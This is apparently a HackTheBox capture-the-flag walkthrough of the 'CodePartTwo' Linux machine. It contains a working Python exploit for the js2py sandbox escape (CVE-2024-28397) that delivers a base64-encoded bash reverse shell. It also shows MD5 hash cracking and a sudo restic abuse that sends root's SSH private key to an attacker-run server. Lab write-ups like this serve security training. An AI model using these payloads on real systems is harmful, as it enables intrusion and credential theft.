TARGET OS: LINUX | AUTHOR: LEANDROS
CodePartTwo is a fantastic Easy-rated Linux machine on HackTheBox that tests a wide array of fundamental pentesting skills. The intrusion started with analyzing the source code of a Flask web application, identifying an outdated Python dependency (`js2py`), and escaping its sandbox to achieve Remote Code Execution. From there, I moved laterally by dumping a local SQLite database and cracking a user's MD5 hash. Finally, I escalated to root by abusing a Sudo wrapper around the `restic` backup utility to exfiltrate root's SSH keys. Here is my complete mission log.
I initiated the engagement with my standard Nmap TCP port scan to identify the attack surface.
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn <IP>
nmap -sCV -p22,8000 <IP>
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
8000/tcp open http Gunicorn 20.0.4
|_http-title: Welcome to CodePartTwo
|_http-server-header: gunicorn/20.0.4
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
My scan revealed SSH on port 22 and a Gunicorn web server running on port 8000. Navigating to port 8000 presented a standard web application. I found a "Download App" button which provided a zip file containing the source code of the website. Unzipping it revealed a standard Flask application directory structure.
I immediately began reviewing the source code, looking for obvious flaws. The `app.py` file showed several standard Flask routes, but my attention was immediately drawn to the dependencies listed in `requirements.txt`.
flask==3.0.3
flask-sqlalchemy==3.1.1
js2py==0.74
The application uses `js2py` version 0.74 to evaluate JavaScript submitted by users via the `/run_code` route. However, this version is vulnerable to CVE-2024-28397. The vulnerability allows an attacker to escape the JavaScript sandbox by accessing Python's internal `__class__` and `__base__` attributes from within the JS environment. By traversing the inheritance tree, we can locate the `subprocess.Popen` class and execute arbitrary system commands.
I registered an account on the web application, logged in, and accessed the code execution dashboard. To exploit this, I wrote a Python script that automates the delivery of the malicious JavaScript payload to the `/run_code` endpoint, targeting a reverse shell back to my machine.
import requests
import json
import base64
TARGET_URL = 'http://<IP>:8000'
ATTACKER_IP = '<IP_ATTACKER>'
ATTACKER_PORT = '<PORT>'
# Reverse shell command
reverse_shell_cmd = f'bash -i >& /dev/tcp/{ATTACKER_IP}/{ATTACKER_PORT} 0>&1'
# Base64 encode to avoid quote escaping issues
encoded_cmd = base64.b64encode(reverse_shell_cmd.encode()).decode()
final_cmd = f'echo {encoded_cmd} | base64 -d | bash'
# Malicious JS payload traversing Python's object tree
js_code = f"""
var cmd = "{final_cmd}";
var a = Object.getOwnPropertyNames({{}}).__class__.__base__.__getattribute__;
var obj = a(a(a, "__class__"), "__base__");
function findpopen(o) {{
for (var i in o.__subclasses__()) {{
var item = o.__subclasses__()[i];
if (item.__module__ == "subprocess" && item.__name__ == "Popen") {{
return item;
}}
if (item.__name__ != "type") {{
var result = findpopen(item);
if (result) return result;
}}
}}
return null;
}}
var popen_class = findpopen(obj);
if (popen_class) {{
popen_class(cmd, -1, null, -1, -1, -1, null, null, true).communicate();
}}
"""
url = f'{TARGET_URL}/run_code'
payload = {"code": js_code}
headers = {"Content-Type": "application/json"}
requests.post(url, data=json.dumps(payload), headers=headers, timeout=10)
I set up a Netcat listener and executed my Python script. The server processed the JavaScript, escaped the sandbox, invoked `subprocess.Popen`, and sent me a shell!
listening on [any] 7755 ...
connect to [10.10.14.85] from (UNKNOWN) [10.10.11.82] 39374
app@codeparttwo:~/app$ whoami
app
While I had a shell as the user `app`, I needed to pivot to a higher-privileged user. Recalling the `app.py` source code, I remembered seeing a SQLite database configuration: app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///users.db'.
I located the `users.db` file inside the `/home/app/app/instance/` directory and used the `sqlite3` command-line tool to inspect it.
sqlite3 /home/app/app/instance/users.db
sqlite> select * from user;
1|marco|649c9d65a206a75f5abe509fe128bce5
2|app|a97588c0e2fa3a024876339e27aeb42e
3|ezboi|726fc2abe79d325c745210240c13dd89
I discovered a password hash for the user `marco`. The hash was 32 characters long and hexadecimal, indicating it was standard MD5 (which the `app.py` source code confirmed). I passed Marco's hash into John the Ripper.
john --format=Raw-MD5 --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
sweetangelbabylove (marco)
1g 0:00:00:00 DONE (2025-09-19 11:35) 7.142g/s 24633Kp/s
John cracked the hash instantly. I used the recovered password, sweetangelbabylove, to SSH directly into the machine as Marco. I was now an authenticated system user and claimed the `user.txt` flag.
Checking my privileges with `sudo -l`, I found that Marco could execute a custom binary called `npbackup-cli` as root without a password.
User marco may run the following commands on codeparttwo:
(ALL : ALL) NOPASSWD: /usr/local/bin/npbackup-cli
By executing the binary and reading the output, I noticed it was a wrapper around `restic`, a popular, fast, and secure backup program. Because `npbackup-cli` allows passing raw commands down to `restic` using the `--raw` flag, we can leverage GTFOBins to exploit it.
`Restic` can read any file on the file system when backing up. Since it's running as root, we can back up highly sensitive files (like `/etc/shadow` or `/root/.ssh/id_rsa`) and send them to a remote repository hosted on our attacking machine.
1. Start a REST server on the attacker machine to receive backups.
2. Initialize a new Restic repository on that server.
3. Use the vulnerable `npbackup-cli` on the victim to backup `/root/.ssh/id_rsa` and send it to our attacker server.
4. Restore the backup locally and use the private key to SSH as root.
First, I installed and started the `rest-server` on my Kali Linux attacker machine.
mkdir /opt/restic-repos
rest-server --path /opt/restic-repos --no-auth --listen :6666
# In a new terminal tab, initialize the repository:
restic init -r "rest:http://127.0.0.1:6666/Pwn3d"
I created a quick password file on the victim machine to automate the repository authentication, then I triggered the vulnerable sudo command, instructing `restic` to backup `/root/.ssh/id_rsa` directly to my server.
echo "mypassword" > /tmp/restic-password
sudo /usr/local/bin/npbackup-cli -c /home/marco/npbackup.conf --raw "backup -r 'rest:http://<ATTACKER_IP>:6666/Pwn3d' --password-file /tmp/restic-password /root/.ssh/id_rsa"
The output confirmed that `1 new file` was added to the repository. Back on my attacker machine, I checked the snapshots and restored the file.
restic -r "rest:http://127.0.0.1:6666/Pwn3d" snapshots
restic -r "rest:http://127.0.0.1:6666/Pwn3d" restore latest --target /tmp/pwned
I navigated to `/tmp/pwned/root/.ssh/` and found the pristine `id_rsa` private key. I immediately applied the correct permissions and used it to SSH into the machine as root.
chmod 600 id_rsa
ssh -i id_rsa root@<IP>
The connection succeeded. I read the `root.txt` flag, completing the machine. System Compromised.